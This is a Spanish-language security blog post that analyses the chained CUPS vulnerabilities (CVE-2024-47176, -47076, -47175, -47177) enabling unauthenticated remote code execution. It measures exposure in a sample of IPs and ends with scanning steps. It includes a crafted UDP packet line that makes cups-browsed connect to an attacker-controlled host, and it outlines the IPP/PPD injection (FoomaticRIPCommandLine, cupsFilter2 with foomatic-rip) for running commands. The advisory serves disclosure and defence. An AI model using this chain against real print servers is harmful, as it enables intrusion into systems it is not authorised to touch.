Neutron, nuestro motor de IA, obtuvo un 96.75% en el benchmark CyberGym de UC Berkeley. Más información

Seguridad

Seguridad

Evaluación de la exposición a gran escala de las vulnerabilidades de CUPS: CVE encadenadas que conducen a la ejecución remota de código

Este artículo evalúa la exposición a gran escala de los sistemas a varias CVE que afectan al servicio de impresión CUPS y que pueden encadenarse para lograr la ejecución remota de código (RCE) sin autenticación. Ofrecemos una visión general de cómo funcionan en conjunto estas vulnerabilidades, entre ellas CVE-2024-47176, y recorremos el flujo del exploit. Además, analizamos cuántos sistemas son potencialmente vulnerables y destacamos un comportamiento singular observado durante las pruebas.

Introducción

El Common UNIX Printing System (CUPS) es un sistema de impresión ampliamente utilizado que permite a los equipos conectados en red gestionar trabajos de impresión e impresoras sin complicaciones. Recientemente, el investigador Simone Margaritelli realizó una investigación impresionante en la que descubrió varias CVE que encadenó con éxito para lograr la ejecución remota de código (RCE) sin autenticación en los sistemas objetivo. Puede leer más sobre esta investigación en el artículo de Simone Margaritelli.

En este artículo desglosaremos el flujo de trabajo del exploit y analizaremos el porcentaje de sistemas vulnerables en una muestra concreta de objetivos.

Detalles técnicos

Cómo lograr RCE en CUPS:

Esta sección describe los distintos pasos para lograr la ejecución remota de código (RCE) y explica cómo intervienen las diferentes CVE.

  1. CVE-2024-47176: punto de partida, cups-browsed y el BrowseSocket:

    El ataque comienza con el servicio cups-browsed, responsable de descubrir las impresoras de la red y añadirlas automáticamente al sistema .

    El servicio crea un socket, llamado BrowseSocket, que escucha los paquetes entrantes con información de impresoras en INADDR_ANY:631 UDP .

    browsesocket

    El siguiente paso es identificar dónde se utiliza el BrowseSocket. Al investigarlo, la función process_browse_data aparece como el punto clave.

    process_browse_data() se encarga de leer un paquete del BrowseSocket. Espera que los datos entrantes respeten un formato específico: HEX_NUMBER HEX_NUMBER TEXT_DATA Tras recibir el paquete, la función comprueba si la dirección IP de origen tiene permiso para enviar datos. Esto se hace mediante la función allowed(), que verifica la dirección IP con el archivo de configuración ubicado en /etc/cups/cups-browsed.conf. Este archivo define qué hosts pueden conectarse y enviar datos.

    allowed.png

    Pues bien, resulta que, aunque se puede configurar quién puede conectarse y quién no editando el archivo de configuración /etc/cups/cups-browsed.conf, la configuración predeterminada en la mayoría de los sistemas está completamente comentada. Esto significa que, salvo que el administrador restrinja el acceso de forma explícita, el sistema queda abierto a conexiones desde cualquier dirección IP. Como resultado, la comprobación de allowed() siempre tendrá éxito, lo que deja el sistema expuesto a una posible explotación desde cualquier origen.

    Una vez superada la comprobación de la IP de origen, el paquete se analiza y dos campos se pasan a la función found_cups_printer() para su posterior procesamiento.

  2. CVE-2024-47076: inyección de URI maliciosa y explotación:

    Uno de los dos campos extraídos del paquete es el URI de la impresora.

    found_cups_printer.png

    Seguimiento de cómo se utiliza este parámetro y cómo pasa por las distintas funciones :

    A partir de found_cups_printer, el URI se pasa a la función examine_discovered_printer_record(), que lo pasa a create_remote_printer_entry(). Esta secuencia de llamadas a funciones conduce finalmente a cfGetPrinterAttributes() de la biblioteca libcupsfilters.

    cfGETPrinterAttributes.png

    La función cfGetPrinterAttributes() se encarga de realizar una solicitud HTTP al URI de la impresora proporcionado para obtener los detalles de la impresora.

    httpconnect.png

    En este punto, un actor malicioso puede enviar un paquete UDP especialmente manipulado al puerto 631 con un URI malicioso incrustado, como por ejemplo:

    0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever

    Este paquete eludirá la validación débil y hará que cups-browsed se conecte de vuelta a la URL controlada por el atacante.

    interactsh.png

  3. CVE-2024-47175: atributos IPP maliciosos del atacante y creación del archivo PPD:

    Después de que el servidor del atacante envíe una respuesta con atributos IPP manipulados, diseñados para imitar las capacidades de una impresora legítima, cups-browsed procesa esos atributos. Lo hace invocando la función create_queue(), que a su vez llama a la API ppdCreatePPDFromIPP2() de la biblioteca libppd. Esta API se encarga de crear un archivo PPD (PostScript Printer Description) temporal en el que se almacenan los atributos recibidos.

    Un archivo PostScript Printer Description es un archivo de texto proporcionado por los fabricantes de impresoras que describe el conjunto completo de funciones y capacidades disponibles para una impresora PostScript concreta. Estos archivos cumplen varias funciones:

    • Definen cómo invocar las funciones en los trabajos de impresión, incluidas las resoluciones admitidas por la impresora, los tamaños de papel y las funcionalidades especiales (por ejemplo, la impresión a doble cara).
    • El PPD actúa como controlador de las impresoras PostScript al ofrecer al sistema CUPS una forma estandarizada de interactuar con distintas impresoras, independientemente del fabricante.
    • El PPD también contiene el código PostScript (comandos) utilizado para invocar las funciones del trabajo de impresión.

    PPD.png

    ppdCreatePPDFromIPP.png

    La función ppdCreatePPDFromIPP2() escribe los atributos IPP controlados por el atacante directamente en el archivo PPD sin ningún tipo de saneamiento.

    write_to_file.png

  4. CVE-2024-47177: explotación de los filtros de CUPS:

    Ahora que podemos establecer atributos que se guardan en el archivo PPD, podemos indicar a CUPS que ejecute determinados comandos al procesar los trabajos de impresión.

    CUPS admite una gran variedad de instrucciones mediante estos atributos, y una de las que se pueden explotar es cupsFilter2.

    Un filtro es un ejecutable ubicado en el directorio /usr/lib/cups/filter. CUPS restringe la ejecución de filtros a este directorio, lo que significa que no se puede especificar un binario cualquiera. Estos filtros se ejecutan cuando se envía un trabajo de impresión a la impresora, normalmente para realizar la conversión del documento si la impresora no admite de forma nativa el formato del documento.

    Dada esta restricción sobre qué binario puede ejecutarse, el objetivo es explotar uno de los filtros existentes para ejecutar comandos arbitrarios.

    Explotación del filtro foomatic-rip:

    Por fortuna para los atacantes, un filtro, foomatic-rip, seguía siendo vulnerable a un antiguo fallo de ejecución de comandos, CVE-2011-2964 y CVE-2011-2697. Este filtro aceptaba la directiva FoomaticRIPCommandLine en el archivo PPD, lo que permitía ejecutar CUALQUIER comando a través de él.

    Al explotar esta vulnerabilidad, un atacante puede inyectar la directiva FoomaticRIPCommandLine en el archivo PPD, lo que hace que CUPS ejecute comandos arbitrarios durante el proceso del trabajo de impresión.

    Para llevar a cabo el ataque, se requieren los siguientes pasos:

    • Forzar al equipo objetivo a conectarse a un servidor IPP malicioso: el primer paso consiste en lograr que el equipo objetivo se comunique con un servidor IPP falso que usted controla.
    • Devolver una cadena de atributos IPP maliciosa:
      • Inyectar un atributo printer-privacy-policy-uri con una URL de política falsa como "https://www.example.com/", seguido de un salto de línea para terminar la cadena.
      • Añadir una directiva FoomaticRIPCommandLine: "COMMAND" para ejecutar un comando en el equipo objetivo.
      • Incluir una directiva cupsFilter2: "application/pdf application/vnd.cups-postscript 0 foomatic-rip", que garantiza que, cuando se envíe un trabajo de impresión, se active la ejecución del filtro foomatic-rip con el comando inyectado.
    • Activar la ejecución: una vez que se envía un trabajo de impresión a la impresora maliciosa, se ejecutarán las directivas PPD inyectadas, lo que permite completar el ataque.

Evaluación de vulnerabilidades de CUPS a gran escala: detección y análisis:

Antes de realizar nuestra evaluación a gran escala, nos propusimos inicialmente identificar el servicio CUPS mediante su puerto UDP, concretamente el que abre BrowseSocket. Este socket escucha en INADDR_ANY:631 UDP y creíamos que nos permitiría identificar los sistemas que ejecutan CUPS enviando solicitudes a este puerto. Sin embargo, durante las pruebas, ya fuera manualmente o con herramientas como Nmap, no logramos obtener ninguna respuesta del servidor CUPS.

Para investigar por qué no recibíamos respuestas, examinamos el código fuente de CUPS, centrándonos en las funciones que devuelven datos a los clientes. Durante esta búsqueda, identificamos la función sendto, que se utiliza para enviar respuestas. Buscamos la función sendto, que es la responsable de enviar las respuestas.

sendto.png
Y que se utiliza dentro de la función broadcast_browse_packets, que es llamada por send_browse_data.
send_browse_data.png
Sin embargo, descubrimos que send_browse_data se llama en la función principal pero solo se ejecuta si se cumple una condición específica: if (BrowseLocalProtocols & BROWSE_CUPS).
if_statement.png
Al comprobar el valor predeterminado de BrowseLocalProtocols, vimos que estaba establecido en none, lo que significa que la condición nunca se cumple. Esto explica por qué no se envió ninguna respuesta a nuestros intentos de identificación mediante UDP.
browselocalprotocols.png
Descartada la identificación mediante UDP, centramos nuestra atención en la identificación mediante TCP en el puerto 631, que utiliza el Internet Printing Protocol (IPP). Escaneamos una muestra de direcciones IP y utilizamos la PoC para comprobar la vulnerabilidad. De las 19,968 IP probadas, 45 tenían IPP abierto en TCP/631. Tras ejecutar la PoC, descubrimos que 42 de esos sistemas eran vulnerables. Esto significa que aproximadamente el 0.23% de las IP probadas ejecutaban CUPS y que, de ellas, el 93.33% estaba en riesgo por la vulnerabilidad.

nuclei_template.png

Pruebas de la vulnerabilidad con OXO

Si le preocupa que su instancia pueda ser vulnerable, siga estos pasos para ejecutar una prueba con la herramienta OXO:

Instale OXO mediante pip:

pip install -U ostorlab

Instale el agente asteroid desde la tienda de agentes de OXO:

oxo agent install agent/ostorlab/asteroid

Ejecute el escaneo con el agente asteroid mediante el siguiente comando:

oxo scan run --agent agent/ostorlab/asteroid link --url <target-URL> --method GET

Etiquetas:

security, vulnerability